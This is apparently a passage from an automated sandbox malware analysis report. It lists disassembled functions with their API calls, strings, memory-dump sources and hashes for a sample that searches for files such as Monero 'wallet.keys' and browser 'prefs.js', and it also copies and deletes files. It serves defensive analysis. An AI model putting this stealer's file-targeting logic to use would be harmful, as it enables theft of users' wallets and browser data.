wsprintfA.USER32 ref: 00124B7C
FindFirstFileA.KERNEL32(?,?), ref: 00124B93
StrCmpCA.SHLWAPI(?,00130FC4), ref: 00124BC1
StrCmpCA.SHLWAPI(?,00130FC8), ref: 00124BD7
FindNextFileA.KERNEL32(000000FF,?), ref: 00124DCD
FindClose.KERNEL32(000000FF), ref: 00124DE2

Strings

%s\%s, xrefs: 00124C4B
%s\%s, xrefs: 00124BF4
%s\*, xrefs: 00124B70

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 0650bfef83513bc287f03e35a53c8bae5b42c948c7775d6493f1cdf4b2109c3c
Instruction ID: b63d9bb074b1083bc6c4c27b40d7c2ce192f837fabc7e78ca01cc04ee5c0503c
Opcode Fuzzy Hash: 0650bfef83513bc287f03e35a53c8bae5b42c948c7775d6493f1cdf4b2109c3c
Instruction Fuzzy Hash: 4F615971900258ABCB35EBA0EC95FEA737CBF58700F404698F60D96191EB70AB95CF91

Function 001247C0 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 001247D0
RtlAllocateHeap.NTDLL(00000000), ref: 001247D7
wsprintfA.USER32 ref: 001247F6
FindFirstFileA.KERNEL32(?,?), ref: 0012480D
StrCmpCA.SHLWAPI(?,00130FAC), ref: 0012483B
StrCmpCA.SHLWAPI(?,00130FB0), ref: 00124851
FindNextFileA.KERNEL32(000000FF,?), ref: 001248DB
FindClose.KERNEL32(000000FF), ref: 001248F0
lstrcat.KERNEL32(?,00E3F910), ref: 00124915
lstrcat.KERNEL32(?,00E3E4E0), ref: 00124928
lstrlen.KERNEL32(?), ref: 00124935
lstrlen.KERNEL32(?), ref: 00124946

Strings

%s\%s, xrefs: 0012486B
%s\*, xrefs: 001247EA
, xrefs: 0012491B

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*$
API String ID: 671575355-1403936960
Opcode ID: aca2e09226a40921ee090616516b58ad923be7310fb6b1de5d86b08c80beca99
Instruction ID: 42ad677c5500471d9661cb87e666119e8d14cdba71f2990ca16f90a249121a18
Opcode Fuzzy Hash: aca2e09226a40921ee090616516b58ad923be7310fb6b1de5d86b08c80beca99
Instruction Fuzzy Hash: 295178B1904218ABCB75EB70EC99FED737CAB58300F404698F64996190EB74DB94CF91

Function 001240F0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00124113
FindFirstFileA.KERNEL32(?,?), ref: 0012412A
StrCmpCA.SHLWAPI(?,00130F94), ref: 00124158
StrCmpCA.SHLWAPI(?,00130F98), ref: 0012416E
FindNextFileA.KERNEL32(000000FF,?), ref: 001242BC
FindClose.KERNEL32(000000FF), ref: 001242D1

Strings

%s\%s, xrefs: 00124107

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: c9d9a43936c26fd675dc368fab95647df8955c8d6685853877808056b8277702
Instruction ID: 56cd664de63fd7897cab5048bb6e8c92dc3cf91a69f799c8f49f735b3cacc0fb
Opcode Fuzzy Hash: c9d9a43936c26fd675dc368fab95647df8955c8d6685853877808056b8277702
Instruction Fuzzy Hash: C95147B1904218ABCB35EBB0ED95EEA737CBF58300F4046DCB64996090EB75AB95CF50

Function 005799B8 Relevance: 19.1, Strings: 14, Instructions: 1607COMMON

Download Yara Rule

Strings

1^, xrefs: 0057A2B2
r[?x, xrefs: 0057AC2A
]7_, xrefs: 00579C70
1|_], xrefs: 00579B2E
(BW?, xrefs: 0057A729
*Y;, xrefs: 0057ABDF
oem, xrefs: 0057A29D
p"z, xrefs: 0057AD0C
3<{, xrefs: 0057A357
uNe{, xrefs: 00579BD3
w}e}, xrefs: 00579AEE
2#g{, xrefs: 0057A52A
?~, xrefs: 00579C9E
3=}7, xrefs: 0057A49E

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: (BW?$*Y;$1|_]$1^$2#g{$3=}7$3<{$]7_$oem$p"z$r[?x$uNe{$w}e}$?~
API String ID: 0-419826266
Opcode ID: d5667729f125944b8dcfda5503626f6454591e2de428fdcc843cf63bfacba57c
Instruction ID: e54616d047d4e85265669439ea21f7324fb1a8967aab913f1d515e88181b1323
Opcode Fuzzy Hash: d5667729f125944b8dcfda5503626f6454591e2de428fdcc843cf63bfacba57c
Instruction Fuzzy Hash: F4B217F3A0C2109FE3046E2DEC8567ABBE9EF94720F1A493DEAC4C7744E67558058693

Function 0011EE20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0011EE3E
FindFirstFileA.KERNEL32(?,?), ref: 0011EE55
StrCmpCA.SHLWAPI(?,00131630), ref: 0011EEAB
StrCmpCA.SHLWAPI(?,00131634), ref: 0011EEC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0011F3AE
FindClose.KERNEL32(000000FF), ref: 0011F3C3

Strings

%s\*.*, xrefs: 0011EE32

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: ba8eac3003882ea7bee6b2b959edd300807ecc1dbd8ce06c73f617e1db26b292
Instruction ID: 32ce791bb34420fca927e32ad1992a1c471dfb3afffa191fecc67fa8a0c95198
Opcode Fuzzy Hash: ba8eac3003882ea7bee6b2b959edd300807ecc1dbd8ce06c73f617e1db26b292
Instruction Fuzzy Hash: 20E118719111289BDB65FB60DDA2EEE733DAF64300F8045E9B50A62092EF306F99CF51

Function 0011DB80 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001315A8,00130BAF), ref: 0011DBEB
StrCmpCA.SHLWAPI(?,001315AC), ref: 0011DC33
StrCmpCA.SHLWAPI(?,001315B0), ref: 0011DC49
FindNextFileA.KERNEL32(000000FF,?), ref: 0011DECC
FindClose.KERNEL32(000000FF), ref: 0011DEDE

Strings

`, xrefs: 0011DD39

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: `
API String ID: 3334442632-4168407445
Opcode ID: 92a468fff563d1c11bdb5841d1a8c0b3560827091013acb6723a900f84d49a13
Instruction ID: e7772ca5e9da845b0956adfa8259a9c71c287f09989adaea0523826801cdebe7
Opcode Fuzzy Hash: 92a468fff563d1c11bdb5841d1a8c0b3560827091013acb6723a900f84d49a13
Instruction Fuzzy Hash: 6A91F572A001149BCB18FB74FD969ED737DAFA4340F404A68F90656181FF34AB58CB92

Function 00150098 Relevance: 17.4, Strings: 13, Instructions: 1151COMMON

Download Yara Rule

Strings

te k, xrefs: 0015053E
nd 32-by, xrefs: 001504B4
2-by, xrefs: 001500F6
expand 3, xrefs: 001504E5
2-by, xrefs: 0015036E
expa, xrefs: 00150461
2-byexpa, xrefs: 00150355
te k, xrefs: 00150347
nd 3, xrefs: 00150117
te knd 3expand 32-by, xrefs: 0015034E
te k, xrefs: 001503B4
expand 32-by, xrefs: 001503C8
expa, xrefs: 001505BB

Memory Dump Source

Source File: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2-by$2-by$2-byexpa$expa$expa$expand 3$expand 32-by$nd 3$nd 32-by$te k$te k$te k$te knd 3expand 32-by
API String ID: 0-1562099544
Opcode ID: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction ID: 14c0675e41154c0678171b1c5052b557cdebcb1ad6644fb204c024f0b37c4f20
Opcode Fuzzy Hash: 74786d5e410390c28444d6ffa7d97e47467e62d2f5ff2becfbe19334c29c47cb
Instruction Fuzzy Hash: 92E276B09083808FD7A4CF29C580B8BFBE1BFC8354F51892EE99997211D770A959CF56

Function 0011F7B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,001316B0,00130D97), ref: 0011F81E
StrCmpCA.SHLWAPI(?,001316B4), ref: 0011F86F
StrCmpCA.SHLWAPI(?,001316B8), ref: 0011F885
FindNextFileA.KERNEL32(000000FF,?), ref: 0011FBB1
FindClose.KERNEL32(000000FF), ref: 0011FBC3

Strings

prefs.js, xrefs: 0011F912

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 874e6bbc8448fddbbba08cbeed594d11e82c28981d73a589d697d631b56363d3
Instruction ID: c5283280c26454942b24af00ce53427abefa2af398297d913f1c4ee7884bcd29
Opcode Fuzzy Hash: 874e6bbc8448fddbbba08cbeed594d11e82c28981d73a589d697d631b56363d3
Instruction Fuzzy Hash: 65B116719001289BCB28FF64ED96FED7379AF64300F4085A8E50A57191EF306B59CF92

Function 00574AF4 Relevance: 15.4, Strings: 11, Instructions: 1614COMMON

Download Yara Rule

Strings

B_?, xrefs: 005757C6
,f, xrefs: 00574F1B
PLtZ, xrefs: 00575214
v_, xrefs: 00574D3D
Cr, xrefs: 00575DEF
~jnm, xrefs: 005753CC
hI]n, xrefs: 00575CF3
\rm?, xrefs: 00575DFE
sd;, xrefs: 0057594A
]5Hx, xrefs: 00575728
od;, xrefs: 00575957

Memory Dump Source

Source File: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197067346.0000000000859000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2197081332.000000000085A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_file.jbxd

Yara matches

Similarity

API ID:
String ID: Cr$B_?$PLtZ$\rm?$]5Hx$hI]n$od;$sd;$v_$~jnm$,f
API String ID: 0-1983312684
Opcode ID: b7f7dca629319acab6db810f9ea781730ba5474d50a4655268412a921331978b
Instruction ID: ce98ccef12404b2775ad885fd8863a03edc38b100c28e0d25611dbe271900671
Opcode Fuzzy Hash: b7f7dca629319acab6db810f9ea781730ba5474d50a4655268412a921331978b
Instruction Fuzzy Hash: A9B2E6F3A0C2109FE304AE2DEC8577ABBE9EB94760F16493DEAC5D3744E63558008697

Function 00111710 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0012AA50: lstrcpy.KERNEL32(00130E1A,00000000), ref: 0012AA98

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0013523C,?,?,?,001352E4,?,?,00000000,?,00000000), ref: 00111963
StrCmpCA.SHLWAPI(?,0013538C), ref: 001119B3
StrCmpCA.SHLWAPI(?,00135434), ref: 001119C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00111D80
DeleteFileA.KERNEL32(00000000), ref: 00111E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00111E60
FindClose.KERNEL32(000000FF), ref: 00111E72

Part of subcall function 0012AC30: lstrcpy.KERNEL32(00000000,?), ref: 0012AC82
Part of subcall function 0012AC30: lstrcat.KERNEL32(00000000), ref: 0012AC92

Part of subcall function 0012ACC0: lstrlen.KERNEL32(?,00E39450,?,\Monero\wallet.keys,00130E1A), ref: 0012ACD5
Part of subcall function 0012ACC0: lstrcpy.KERNEL32(00000000), ref: 0012AD14
Part of subcall function 0012ACC0: lstrcat.KERNEL32(00000000,00000000), ref: 0012AD22

Part of subcall function 0012ABB0: lstrcpy.KERNEL32(?,00130E1A), ref: 0012AC15

Strings

\*.*, xrefs: 00111831

Memory Dump Source

Source File: 00000000.00000002.2196494984.0000000000111000.00000040.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.2196480304.0000000000110000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000013C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000024D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.0000000000259000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.000000000027E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196494984.00000000003E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000003FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000590000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.0000000000699000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196696042.00000000006AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2196958886.00000000006B0000.00000080.00000001.01000000.00000003.sdmpDownload File
